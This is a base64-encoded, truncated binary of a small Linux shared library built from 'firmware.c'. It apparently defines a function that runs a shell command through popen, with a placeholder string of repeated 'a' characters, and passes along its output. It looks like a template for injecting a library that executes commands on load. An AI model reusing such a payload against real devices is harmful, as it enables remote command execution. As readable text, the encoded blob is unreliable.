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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByAAAAAAAAAGFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWEAAAAAARsDOyAAAAADAAAAFO///zwAAABk7///ZAAAACnw//98AAAAFAAAAAAAAAABelIAAXgQARsMBwiQAQAAJAAAABwAAADQ7v//UAAAAAAOEEYOGEoPC3cIgAA/GjsqMyQiAAAAABQAAABEAAAA+O7//wgAAAAAAAAAAAAAABwAAABcAAAApe///3YAAAAAQQ4QhgJDDQYCcQwHCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADARAAAAAAAAAAAAAAAAAADwEAAAAAAAAAEAAAAAAAAAfAAAAAAAAAAMAAAAAAAAAAAQAAAAAAAADQAAAAAAAACsEQAAAAAAABkAAAAAAAAAAD4AAAAAAAAbAAAAAAAAABAAAAAAAAAAGgAAAAAAAAAQPgAAAAAAABwAAAAAAAAACAAAAAAAAAD1/v9vAAAAAGACAAAAAAAABQAAAAAAAACwAwAAAAAAAAYAAAAAAAAAkAIAAAAAAAAKAAAAAAAAAJIAAAAAAAAACwAAAAAAAAAYAAAAAAAAAAMAAAAAAAAAAEAAAAAAAAACAAAAAAAAAGAAAAAAAAAAFAAAAAAAAAAHAAAAAAAAABcAAAAAAAAAcAUAAAAAAAAHAAAAAAAAAIAEAAAAAAAACAAAAAAAAADwAAAAAAAAAAkAAAAAAAAAGAAAAAAAAAD+//9vAAAAAGAEAAAAAAAA////bwAAAAABAAAAAAAAAPD//28AAAAAQgQAAAAAAAD5//9vAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGD4AAAAAAAAAAAAAAAAAAAAAAAAAAAAANhAAAAAAAABGEAAAAAAAAFYQAAAAAAAAZhAAAAAAAAA4QAAAAAAAAAAAAAAAAAAAR0NDOiAoRGViaWFuIDguMy4wLTYpIDguMy4wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwABADgCAAAAAAAAAAAAAAAAAAAAAAAAAwACAGACAAAAAAAAAAAAAAAAAAAAAAAAAwADAJACAAAAAAAAAAAAAAAAAAAAAAAAAwAEALADAAAAAAAAAAAAAAAAAAAAAAAAAwAFAEIEAAAAAAAAAAAAAAAAAAAAAAAAAwAGAGAEAAAAAAAAAAAAAAAAAAAAAAAAAwAHAIAEAAAAAAAAAAAAAAAAAAAAAAAAAwAIAHAFAAAAAAAAAAAAAAAAAAAAAAAAAwAJAAAQAAAAAAAAAAAAAAAAAAAAAAAAAwAKACAQAAAAAAAAAAAAAAAAAAAAAAAAAwALAHAQAAAAAAAAAAAAAAAAAAAAAAAAAwAMAIAQAAAAAAAAAAAAAAAAAAAAAAAAAwANAKwRAAAAAAAAAAAAAAAAAAAAAAAAAwAOAAAgAAAAAAAAAAAAAAAAAAAAAAAAAwAPAAwhAAAAAAAAAAAAAAAAAAAAAAAAAwAQADAhAAAAAAAAAAAAAAAAAAAAAAAAAwARAAA+AAAAAAAAAAAAAAAAAAAAAAAAAwASABA+AAAAAAAAAAAAAAAAAAAAAAAAAwATABg+AAAAAAAAAAAAAAAAAAAAAAAAAwAUANg/AAAAAAAAAAAAAAAAAAAAAAAAAwAVAABAAAAAAAAAAAAAAAAAAAAAAAAAAwAWADhAAAAAAAAAAAAAAAAAAAAAAAAAAwAXAGBAAAAAAAAAAAAAAAAAAAAAAAAAAwAYAAAAAAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAAAMAAAAAgAMAIAQAAAAAAAAAAAAAAAAAAAOAAAAAgAMALAQAAAAAAAAAAAAAAAAAAAhAAAAAgAMAPAQAAAAAAAAAAAAAAAAAAA3AAAAAQAXAGBAAAAAAAAAAQAAAAAAAABGAAAAAQASABA+AAAAAAAAAAAAAAAAAABtAAAAAgAMADARAAAAAAAAAAAAAAAAAAB5AAAAAQARAAA+AAAAAAAAAAAAAAAAAACYAAAABADx/wAAAAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAACjAAAAAQAQAKghAAAAAAAAAAAAAAAAAAAAAAAABADx/wAAAAAAAAAAAAAAAAAAAACxAAAAAgANAKwRAAAAAAAAAAAAAAAAAAC3AAAAAQAWADhAAAAAAAAAAAAAAAAAAADEAAAAAQATABg+AAAAAAAAAAAAAAAAAADNAAAAAAAPAAwhAAAAAAAAAAAAAAAAAADgAAAAAQAWAEhAAAAAAAAAAAAAAAAAAADsAAAAAQAVAABAAAAAAAAAAAAAAAAAAAACAQAAAgAJAAAQAAAAAAAAAAAAAAAAAAAIAQAAIAAAAAAAAAAAAAAAAAAAAAAAAAAkAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAA3AQAAEgAMADURAAAAAAAAdgAAAAAAAAA7AQAAEgAAAAAAAAAAAAAAAAAAAAAAAABPAQAAEgAAAAAAAAAAAAAAAAAAAAAAAABjAQAAIAAAAAAAAAAAAAAAAAAAAAAAAACGAQAAEQAWAEBAAAAAAAAACAAAAAAAAAByAQAAEgAAAAAAAAAAAAAAAAAAAAAAAACFAQAAEQAXAIBAAAAAAAAAMAEAAAAAAACOAQAAIAAAAAAAAAAAAAAAAAAAAAAAAACoAQAAIgAAAAAAAAAAAAAAAAAAAAAAAAAAY3J0c3R1ZmYuYwBkZXJlZ2lzdGVyX3RtX2Nsb25lcwBfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjczMjUAX19kb19nbG9iYWxfZHRvcnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5X2VudHJ5AGZpcm13YXJlLmMAX19GUkFNRV9FTkRfXwBfZmluaQBfX2Rzb19oYW5kbGUAX0RZTkFNSUMAX19HTlVfRUhfRlJBTUVfSERSAF9fVE1DX0VORF9fAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBfaW5pdABfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAZnJlYWRAQEdMSUJDXzIuMi41AGZ1bgBwY2xvc2VAQEdMSUJDXzIuMi41AG1lbXNldEBAR0xJQkNfMi4yLjUAX19nbW9uX3N0YXJ0X18AcG9wZW5AQEdMSUJDXzIuMi41AF92ZXJzaW9uAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemVAQEdMSUJDXzIuMi41AAAuc3ltdGFiAC5zdHJ0YWIALnNoc3RydGFiAC5ub3RlLmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsYS5keW4ALnJlbGEucGx0AC5pbml0AC5wbHQuZ290AC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lX2hkcgAuZWhfZnJhbWUALmluaXRfYXJyYXkALmZpbmlfYXJyYXkALmR5bmFtaWMALmdvdC5wbHQALmRhdGEALmJzcwAuY29tbWVudAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAcAAAACAAAAAAAAADgCAAAAAAAAOAIAAAAAAAAkAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAC4AAAD2//9vAgAAAAAAAABgAgAAAAAAAGACAAAAAAAAMAAAAAAAAAADAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAA4AAAACwAAAAIAAAAAAAAAkAIAAAAAAACQAgAAAAAAACABAAAAAAAABAAAAAEAAAAIAAAAAAAAABgAAAAAAAAAQAAAAAMAAAACAAAAAAAAALADAAAAAAAAsAMAAAAAAACSAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAEgAAAD///9vAgAAAAAAAABCBAAAAAAAAEIEAAAAAAAAGAAAAAAAAAADAAAAAAAAAAIAAAAAAAAAAgAAAAAAAABVAAAA/v//bwIAAAAAAAAAYAQAAAAAAABgBAAAAAAAACAAAAAAAAAABAAAAAEAAAAIAAAAAAAAAAAAAAAAAAAAZAAAAAQAAAACAAAAAAAAAIAEAAAAAAAAgAQAAAAAAADwAAAAAAAAAAMA